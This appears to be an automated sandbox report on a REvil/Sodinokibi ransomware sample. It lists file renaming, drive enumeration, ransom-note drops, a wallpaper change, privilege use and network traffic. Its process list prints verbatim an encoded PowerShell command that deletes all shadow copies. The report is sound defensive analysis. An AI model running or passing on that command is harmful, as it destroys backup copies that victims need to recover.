Malware Analysis Report

2024-10-19 10:36

Sample ID 230422-eej3haeb41
Target 2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil
SHA256 50fdb342de90ce63c31625156beb9ed968bf11527ce7c4c3bd4a3f3f7c4cf730
Tags
sodinokibi ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

50fdb342de90ce63c31625156beb9ed968bf11527ce7c4c3bd4a3f3f7c4cf730

Threat Level: Known bad

The file 2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil was found to be: Known bad.

Malicious Activity Summary

sodinokibi ransomware

Sodinokibi family

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-04-22 03:51

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral2

Detonation Overview

Submitted

2023-04-22 03:51

Reported

2023-04-22 03:53

Platform

win10v2004-20230220-en

Max time kernel

119s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\PopExport.png => \??\c:\users\admin\pictures\PopExport.png.4e53o7o C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\PopResize.crw => \??\c:\users\admin\pictures\PopResize.crw.4e53o7o C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\ResumeDisable.crw => \??\c:\users\admin\pictures\ResumeDisable.crw.4e53o7o C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\CloseSuspend.png => \??\c:\users\admin\pictures\CloseSuspend.png.4e53o7o C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\nf13w6063.bmp" C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\ExitDismount.js C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SaveConvert.contact C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RegisterPublish.001 C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ResetMerge.nfo C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ShowLimit.css C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ExportLimit.wma C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\LockInitialize.rtf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RegisterPop.tmp C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\JoinDeny.dwfx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\JoinRemove.xlt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ProtectConfirm.zip C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File created \??\c:\program files (x86)\4e53o7o-readme.txt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CompressUnprotect.xps C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\InitializeSplit.M2TS C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File created \??\c:\program files\4e53o7o-readme.txt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SearchLimit.jpg C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SendSplit.crw C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\DisconnectRedo.vsdm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RemoveEnter.wm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\UnlockHide.vstx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\AssertStop.aifc C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ClearUnprotect.xht C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ConfirmConvert.ods C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\EnableClear.wmf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\GetConfirm.M2V C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ReceiveStep.zip C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ResetProtect.js C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\BlockEnter.docm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CloseCompare.ppt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CompareTrace.vsdx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\TraceUnlock.wdp C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\UseRequest.emz C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\BlockPublish.dotx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CheckpointUpdate.kix C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\InitializeLock.xml C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 32.146.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
IE 20.54.89.15:443 tcp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 2.36.159.162.in-addr.arpa udp
US 8.8.8.8:53 233.141.123.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 8.3.197.209.in-addr.arpa udp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 131.253.33.203:80 tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ozfqmwy.nyk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2728-142-0x0000014AF8ED0000-0x0000014AF8EF2000-memory.dmp

memory/2728-144-0x0000014ADFA10000-0x0000014ADFA20000-memory.dmp

memory/2728-143-0x0000014ADFA10000-0x0000014ADFA20000-memory.dmp

memory/2728-145-0x0000014ADFA10000-0x0000014ADFA20000-memory.dmp

C:\Recovery\4e53o7o-readme.txt

MD5 79d8c8c6230fd6abb73d16dbc2ee6581
SHA1 e127ba2c6c81158d3b5e9abfbdfe1096f2576e1e
SHA256 0aaf3d8d7326b50ceb25f455a7446ec2df5023f08420a680eb5209efe457b210
SHA512 bd3d624f7bb9cebf8702d4d59f2117056cc5a1c05f58eb8468e321ba9c71fe24d1cecff5c6a9df413e33dc44ae0436d5adb598ec2ad65fc06f9de5a60238c110

Analysis: behavioral1

Detonation Overview

Submitted

2023-04-22 03:51

Reported

2023-04-22 03:53

Platform

win7-20230220-en

Max time kernel

31s

Max time network

36s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Network

N/A

Files

N/A